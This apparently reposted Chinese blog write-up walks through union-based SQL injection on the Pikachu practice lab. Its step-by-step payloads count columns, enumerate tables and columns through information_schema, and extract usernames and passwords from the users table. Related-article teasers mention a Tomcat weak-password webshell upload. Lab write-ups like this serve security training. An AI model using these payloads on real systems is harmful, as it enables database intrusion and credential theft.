Pikachu-Sql Inject-数字型注入(GET)

news/2024/10/4 6:35:22 标签: sql注入

一、、破解 SQL 查询语句中的字段数

?id=1' order by 3 --+ 
// --+ 是注释,+ 加号 在MySQL中会转成空格

order by 1  ,by 数字几,就是按照第几列进行排序;如果没有这一行,则报错
如:以下语句,根据第一行排序
 

select * from table_name order by 1 


order by 2,正常返回;order by 3, 报错;所以sql查询语句有两列;

用 + 号是转换成空格, --+ 是把 sql 语句后面的注释掉;

四、获取当前数据库
联合查询猜数据库:

id = 1' union select 1,database()

注意:若是数据显示只显示一行,将id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,需要的第二条查询语句的查询结果就不能正常显示到浏览器中。

得到数据库名为:pikachu

五、获取数据库中的表
关键的三张表:SCHEMATA、TABLES、COLUMNS,它们分别能爆出数据库名,表名和字段名。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。


TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema(哪个库),表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。


COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

要记住COLUMNS表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

常用到的三个字段名:TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME

构造uniot select 爆破表名

// 根据数据库名,得到表名table_name
 

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

或
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'

爆破出表:httpinfo,member,message,users,xssblind

与从系统中查到的相对应

六、获取表中的字段名
根据上面得到的四张表名,可以爆破表里的字段名;以users为例
构造uniot select 爆破字段名

// 根据表名,得到字段名 column_name

id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'

爆破得到字段:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

七、查询到账户的数据
根据爆破出的字段,查询数据

构造uniot select 爆破数据

// 根据字段名,得到数据,以获取用户名、密码数据为例

id=1' union select 1,group_concat(username,':',password)from users


 

获得:admin、pikachu、test 三个用户的用户名和密码;至此完成;

注:concat是针对一行数据多个字段拼接,而group_concat是针对多行数据拼接,且group_concat自动生成逗号。

union select 联合查询 ,即合并取交集,结果中没有重复行,前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。

MySQL 提供了以下三种注释方法:

#:不建议直接使用,建议使用其 URL 编码形式%23
--+:本质上是--空格,+会被浏览器解释为空格,也可以使用 URL 编码形式``--%20
/**/:多行注释,常被用作空格


http://www.niftyadmin.cn/n/5689623.html

相关文章

极客兔兔Gee-Cache Day1

极客兔兔7Days GeeCache - Day1 interface{}:任意类型 缓存击穿:一个高并发的请求查询一个缓存中不存在的数据项,因此这个请求穿透缓存直接到达后端数据库或数据源来获取数据。如果这种请求非常频繁,就会导致后端系统的负载突然…

Docker巩固十七问

转载说明:如果您喜欢这篇文章并打算转载它,请私信作者取得授权。感谢您喜爱本文,请文明转载,谢谢。 1. 如何批量清理临时镜像文件? 所谓的“临时镜像”或“虚悬镜像”(dangling images)是指那些…

【社保通-注册安全分析报告-滑动验证加载不正常导致安全隐患】

前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞…

ElasticSearch 备考 -- 备份和恢复

一、题目 备份集群下的索引 task,存储快照名称为 snapshot_1 二、思考 这个涉及的是集群的备份,主要是通过创建快照,涉及到以下2步骤 Setp1:注册一个备份 snapshot repository Setp2:创建 snapshot 可以通过两种方…

[VULFOCUS刷题]tomcat-pass-getshell 弱口令

tomcat-pass-getshell 弱口令 启动容器,打开网站 点开manageapp,输入弱口令 tomcat/tomcat 之后在下面上传jsp大马,首先生成一个jsp马 这里我直接使用github别人生成好的 tennc/webshell: This is a webshell open source project (github.…

优化后的版本

docker_operations.sh #!/bin/bash# all definition NETWORK_NAME"net-1" VOLUME_MOUNT"-v /home/norten/Public/tools:/mnt" # 容器内部挂载到主机的路径 SCRIPT_ROUTE"/mnt" # container_run_medium.sh所在的路径 IMAGE_NAME"ubuntu&quo…

Linux shell编程学习笔记85:fold命令——让文件瘦身塑形显示

0 引言 我们使用的电脑屏幕有宽有窄,我们有时候希望文件能按照我们的屏幕宽度来调整和匹配,这时我们可以使用fold命令。 1 fold命令 的帮助信息、功能、命令格式、选项和参数说明 1.1 fold 命令 的帮助信息 我们可以输入命令 fold--help 来查看fold …

爬虫——同步与异步加载

一、同步加载 同步模式--阻塞模式(就是会阻止你浏览器的一个后续加载)停止了后续的解析 因此停止了后续的文件加载(图像) 比如hifini音乐网站 二、异步加载 异步加载--xhr(重点) 比如腾讯新闻,腾讯招聘等 三、同…